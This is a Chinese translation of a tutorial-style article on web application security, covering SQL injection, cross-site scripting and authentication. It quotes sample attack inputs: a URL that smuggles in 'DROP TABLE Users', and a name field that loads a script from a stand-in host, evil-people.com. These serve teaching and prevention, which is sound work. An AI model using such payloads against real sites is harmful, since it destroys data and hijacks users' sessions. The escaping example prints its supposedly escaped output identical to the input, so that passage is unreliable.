Web 安全

作者:Reuven Lerner

当我写下这些文字时,许多 Ruby on Rails 开发者感到担忧。我们许多人多年来一直使用和享受的这个框架,结果被发现存在一些严重的安全漏洞。这不仅仅是那种可能允许某人修改您的网站的漏洞;这些漏洞意味着,一个装备精良的攻击者可以在您的服务器上执行任意代码。而如今,“装备精良”的门槛并不高,因为有了 Metasploit 这样的工具,针对互联网上的任意计算机发起攻击变得非常容易,简直可笑。

现在,这些事件并没有动摇我对开源软件整体安全性,或特别是 Ruby on Rails 安全性的信心。Rails 核心团队成员的反应给我留下了深刻的印象,他们提供了补丁,并努力查找尽可能多的未被利用的漏洞,现在他们已经发现 Ruby 的 YAML 解析器可能会导致问题。但是,我确信有很多企业和个人在问自己,他们是否因为使用了开源框架而将自己组织的服务器置于危险之中。

从我多年来所看到的一切来看,答案是“否”。诚然,开源软件本质上是透明的,这意味着漏洞比某些专有系统更容易被发现和利用。但与此同时,有更多的人在查看代码,并努力修复和改进它。此外,任何人都可以加入团队,致力于查找和修复这些安全问题。据我所知,许多被 Rails 最近的问题吓到的人,都通过积极寻找问题并努力使其更安全来做出回应。

所以,是的,每天收到来自 Rails 安全邮件列表的多条消息,表明(似乎每天都有)又出现了一个“零日漏洞”,这是一个在您收到警告消息时就可以用来入侵您系统的漏洞,这很可怕。但是,这些消息是针对各种系统的,而不仅仅是开源世界中的系统。如果说从这些警告中可以吸取任何教训,那就是您需要订阅您使用的框架和其他重要软件的安全和/或公告列表。

因此,我并不担心 Rails 或我使用的其他框架中的漏洞。然而,关于安全的讨论提醒我,互联网是一个可怕而危险的环境,许多用户愿意并且有能力尝试入侵计算机,无论是为了乐趣还是为了利益。保护您的 Web 应用程序应该是您开发工作的优先事项,这样您才能确保您的应用程序、您的数据和用户数据的安全。

在本文中,我回顾了 Web 应用程序安全的一些基本原则,以及您可以采取哪些措施来避免风险,或者至少降低您的软件遭受问题的风险。但正如安全专家喜欢说的那样,安全是一个过程,而不是一次性的修复,因此您应该期望不断检查、监视和改进程序的安全性,始终假设它们会受到攻击。

SQL 注入

针对 Web 应用程序的最古老攻击之一仍在造成问题,尽管解决此问题的有效方案已经存在超过 15 年了。

问题如 XKCD 漫画 #327 中精彩地说明的那样,是我们经常将用户的输入传递给 SQL 查询。例如,假设我们的 Web 应用程序使用一个名为“users”的数据库表。进一步假设用户可以通过如下 URL 查看他或她自己的信息:http://example.com/users/215。

非技术用户可能完全忽略这个 URL。但是很多人会查看它并理解最后一部分,数字 215,正在被放入数据库查询中,类似于


SELECT * FROM Users WHERE id = 215;

现在,我们先忽略基本用户安全的问题,即某人可能仅仅通过更改 ID 号码就可以访问另一个用户的帐户。相反,让我们考虑一下,如果用户输入以下 URL 会发生什么:http://example.com/users/215;DROP+TABLE+Users;。

如果应用程序只是将 URL 的最后一部分放入 SQL 中,您最终可能会得到一个如下所示的数据库查询


SELECT * FROM Users WHERE id = 215; DROP TABLE Users;

鉴于您可以在单个会话中执行任意数量的查询,并且每个查询都以分号结尾,您可以想象这将是多么具有破坏性。当然,在许多情况下,查询会引用参数,如下所示


SELECT * FROM Users WHERE id = '215';

在这种情况下,您需要传递一个如下所示的恶意 URL:http://example.com/users/215';DROP+TABLE+Users;。

现在,虽然这种“SQL 注入”攻击很容易理解,但它们也很容易预防——然而,它们仍然很普遍。这是因为许多 Web 开发者认为他们的用户会是体面和理性的人,并且从用户那里获取信息并将其插入 SQL 字符串中更容易


query = "SELECT * FROM Users WHERE id = #{params[:user_id]}";

当然,只需要一个恶意用户猜到您是如何构建查询的,您的站点就会崩溃。(您有定期备份数据,对吧?)攻击者可以做的远不止删除表。使用 SQL 注入,可以更新用户权限、查看属于其他用户的信息或从冗长而复杂的查询中删除条件。

解决这个问题的方法很简单。几乎我熟悉的每种语言、库和框架都提供了“转义”用户参数的功能。也就是说,您不是直接将用户的参数插入 SQL 查询中,而是通过一个单独的函数传递它,该函数会自动删除或转义任何敏感信息。例如,在 Rails 中,您可以这样说


User.where(["id = ?", params[:user_id]])

请注意,您没有将 params[:user_id] 直接放在字符串中,而是放了一个问号在那里,并且您让 ActiveRecord 执行绑定。如果您要在 params[:user_id] 中放入分号、引号或其他危险字符,那也没关系,因为参数绑定系统会消除这种威胁。

SQL 注入攻击的底线是,假设您使用了您喜欢的语言和框架附带的工具,它们在很大程度上是可以预防的。我个人已经在 Perl、Python、PHP 和 Java 中使用了此类工具。

<--pagebreak--> 跨站脚本 (XSS)

SQL 注入的目标是服务器和在其上运行的数据库(和应用程序)。相比之下,XSS 是一种针对站点其他用户的攻击。与 SQL 注入类似,XSS 已经存在很长时间了,并且在许多框架中相对容易消除。然而,与 SQL 注入不同,XSS 是许多更复杂攻击的基础,允许恶意用户接管用户的会话,并可能代表他们执行命令。

想法是这样的:假设您的站点要求人们注册,不仅需要电子邮件地址和密码,还需要他们的真实姓名。每次用户在您的站点论坛上发帖时,都会显示该真实姓名。

如果有人没有只输入他们的姓名,而是输入了以下内容,会发生什么


Reuven Lerner<script>alert("Hello!");</script>

服务器不是很聪明,不了解它接收的内容,会将整个文本片段保存为用户的姓名。当用户在论坛上发帖时,一切都继续正常工作。但是,当站点上的某人加载最新的论坛帖子列表时,不仅会显示恶意用户的姓名,而且浏览器中还会弹出一个烦人的警报框。

但是,嘿,您甚至可以做得更好。也许,您可以不直接从 <script> 标签内执行代码,而是使用该标签从远程服务器加载 JavaScript。例如,如果这个讨厌的用户注册了以下姓名


Reuven Lerner<script src="http://evil-people.com/gotcha.js"></script>

现在,无论 gotcha.js 包含什么,都将被站点上的每个用户下载并执行。如果您仍然认为这仅限于修改用户的页面、操作 DOM 或在屏幕上弹出警报对话框,那么您还没有考虑到所有可能的后果。请考虑,恶意 JavaScript 代码现在正在以与合法用户相同的权限、cookie 和会话执行。实际上,服务器无法区分合法用户的代码和恶意 JavaScript,因为它们都在同一页面上,在同一上下文中执行。

一旦此脚本被加载到页面上,游戏基本上就结束了。关键是要确保此类脚本永远不会动态插入到页面上。

解决此问题的一个简单方法是转义所有用户内容。也就是说,如果用户提交了


<script>alert();</script>;

您可以将其转换为


<script>alert();</script>;

当这在用户的浏览器中显示时,它看起来会像提交的内容,但这些标签将不再被视为标签——相反,它们将被视为文字 < 和 > 字符,而没有执行任何操作的能力。大约在 2-3 年前,Rails 默认转义所有 HTML。如果您希望允许动态生成的内容在屏幕上放置 HTML 标签,则必须对文本字符串使用“raw”方法。

身份验证和授权

第三种类型的攻击涉及突破登录系统,从而使用户可以冒充系统上的另一个用户。发生这种情况的最简单方式是通过猜测密码。如果您的 Web 应用程序允许用户选择弱密码,并且还允许用户尝试多次登录,则结果很可能是用户的帐户被盗用。如果这是一个没有任何特权的普通用户,那只会对特定用户不利。但是,如果帐户属于管理用户,则后果可能是可怕的,甚至可能涉及法律责任。

身份验证是用于描述用户需要向计算机系统标识自己的术语。通常,这涉及用户名-密码组合,尽管存在各种身份验证系统,从一次性硬件密钥到生物识别扫描仪。相比之下,授权是指检查用户在通过身份验证后,是否被允许执行某些操作。

以下是关于自行开发身份验证系统的一些简单建议:不要这样做。存在优秀的身份验证系统,其中一些是 Web 应用程序框架内置的,另一些是第三方插件。考虑攻击者拥有的技能水平、动机和时间,您可能会意识到,您不太可能想出一个真正强大和安全的身份验证系统。即使是经过考验的、由专家编写并部署在数千台服务器上的身份验证系统,也被发现存在安全漏洞。

这个论点的延伸是完全外包身份验证,使用 Facebook、LinkedIn 或 GitHub(以及其他)来验证您的用户。这正成为许多 Web 应用程序越来越流行的选择,减轻了他们对身份验证的大部分责任。但是,这也提出了一个问题,您是否真的想依赖第三方商业公司(他们的利益几乎肯定与您的利益不同)来满足您的身份验证需求。话又说回来,用户更有可能信任来自 Facebook 的登录系统,而不是您自己开发的系统。

结论

正如我在上面所写的,以及许多人多年来所说的那样,安全是一个过程,而不是一次性的解决方案。在开发系统时意识到潜在的安全问题并将其考虑在内需要时间,但这是您的 Web 应用程序良好运行的重要组成部分。我在这里概述的三个项目——SQL 注入、跨站脚本和身份验证——是人们攻击 Web 应用程序的三种最常见方式。但是还有很多其他方式,因此,努力跟上这些问题,并将它们纳入您的日常阅读清单,是一项肯定会得到回报的投资。

资源

有许多不同的关于 Web 安全的印刷和在线资源。其中最好和最权威的来源之一是 OWASP,即 开放 Web 应用程序安全项目,其网站上有大量文章、教程和建议,所有 Web 开发者都应该阅读。您可能想查看其“十大项目”,其中介绍并描述了您应该考虑并努力预防的十个最成问题的 Web 安全问题。

Paul Lee 在十多年前撰写了一篇关于 XSS 攻击的优秀介绍,但它仍然具有现实意义。您可以在 IBM 网站上阅读它。

Ruby 和 Rails 世界最近爆发的安全问题引发了一系列活动,以及对问题原因的描述。Patrick McKenzie 写了一篇特别详尽的 博客文章,并在 2013 年 2 月 20 日的 Ruby Rogues 播客中接受采访时描述了这些问题。您可以在 http://rubyrogues.com/093-rr-security-exploits-with-patrick-mckenzie 收听。

在接受 Rogues 的采访时,Patrick 提到了一个我以前不熟悉的工具,名为 Brakeman,它可以审查您的 Rails 应用程序是否存在潜在的安全问题。它非常易于使用:只需 gem install brakeman,然后在您的 Rails 应用程序中运行 brakeman 程序。您将获得一个格式精美的 HTML 页面,其中列出了它能够在您的应用程序中找到的问题和潜在问题。

Patrick 和其他人还推荐了一本好书,Michal Zalewski 于 2012 年由 No Starch Press 出版的 The Tangled Web。如果您对 Web 安全感兴趣,您应该阅读这本书。它肯定会让您大开眼界,了解互联网上的“坏人”世界,以及您可以做些什么来避免与他们发生问题。

Reuven M. Lerner,一位资深的 Web 开发者,提供 Python、Git、PostgreSQL 和数据科学方面的培训和咨询服务。他撰写了两本编程电子书(Practice Makes Python 和 Practice Makes Regexp),并为程序员发布免费的每周新闻通讯,网址为 http://lerner.co.il/newsletter。Reuven 的 Twitter 账号是 @reuvenmlerner,与妻子和三个孩子住在以色列的莫迪因。

加载 Disqus 评论